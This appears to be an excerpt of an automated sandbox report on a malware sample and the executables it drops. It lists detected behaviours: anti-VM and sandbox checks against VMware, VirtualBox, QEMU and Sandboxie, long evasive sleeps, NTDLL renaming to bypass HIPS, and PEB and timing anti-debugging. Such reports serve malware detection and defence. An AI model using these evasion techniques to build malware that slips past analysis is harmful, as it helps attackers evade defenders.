Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: B4BD.exe PID: 4036, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 4F44.exe PID: 6980, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: CFE9H9mdWr.exe, 00000003.00000002.343805470.000000000063B000.00000004.00000020.sdmp, bsstvub, 00000013.00000002.401198321.00000000005AB000.00000004.00000020.sdmp Binary or memory string: ASWHOOK
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLLUSER
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Renames NTDLL to bypass HIPS
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe File opened: C:\Windows\SysWOW64\ntdll.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe File opened: C:\Windows\SysWOW64\ntdll.dll Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe TID: 3220 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe TID: 5720 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe TID: 1068 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\69D3.exe TID: 6884 Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\39F6.exe TID: 6976 Thread sleep time: -922337203685477s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\234F.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 569 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DEC6.exe Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DA7F.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\69D3.exe Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\sqlite3.dll Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D88A.exe Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DC45.exe Jump to dropped file
Source: C:\Windows\explorer.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D210.exe Jump to dropped file
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE36B90 rdtsc 29_2_6CE36B90
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Thread delayed: delay time: 922337203685477
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: !noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: explorer.exe, 0000000C.00000000.303364721.0000000008974000.00000004.00000001.sdmp Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000C.00000000.304703092.000000000EF1A000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 0000000C.00000000.322101606.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: vmware
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: VMwareVBoxARun using valid operating system
Source: explorer.exe, 0000000C.00000000.322210842.0000000008778000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000C.00000000.322101606.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000C.00000000.333171923.00000000067C2000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000C.00000000.333171923.00000000067C2000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp Binary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys
Source: explorer.exe, 0000000C.00000000.322101606.00000000086C9000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_004040F0 RegCreateKeyExA,RegOpenKeyExA,GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,GetSystemMetrics, 35_2_004040F0
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_0041B9B2 FindFirstFileExW, 35_2_0041B9B2
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe System information queried: ModuleInformation Jump to behavior

Anti Debugging:

barindex
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe System information queried: CodeIntegrityInformation Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00440870 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer, 0_2_00440870
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00960042 push dword ptr fs:[00000030h] 0_2_00960042
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 17_2_00960042 push dword ptr fs:[00000030h] 17_2_00960042
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 18_2_02CB0042 push dword ptr fs:[00000030h] 18_2_02CB0042
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC14FB mov eax, dword ptr fs:[00000030h] 29_2_6CEC14FB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8CD6 mov eax, dword ptr fs:[00000030h] 29_2_6CED8CD6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02CDB mov eax, dword ptr fs:[00000030h] 29_2_6CE02CDB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04CB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE04CB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED9CB3 mov eax, dword ptr fs:[00000030h] 29_2_6CED9CB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE01480 mov eax, dword ptr fs:[00000030h] 29_2_6CE01480
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
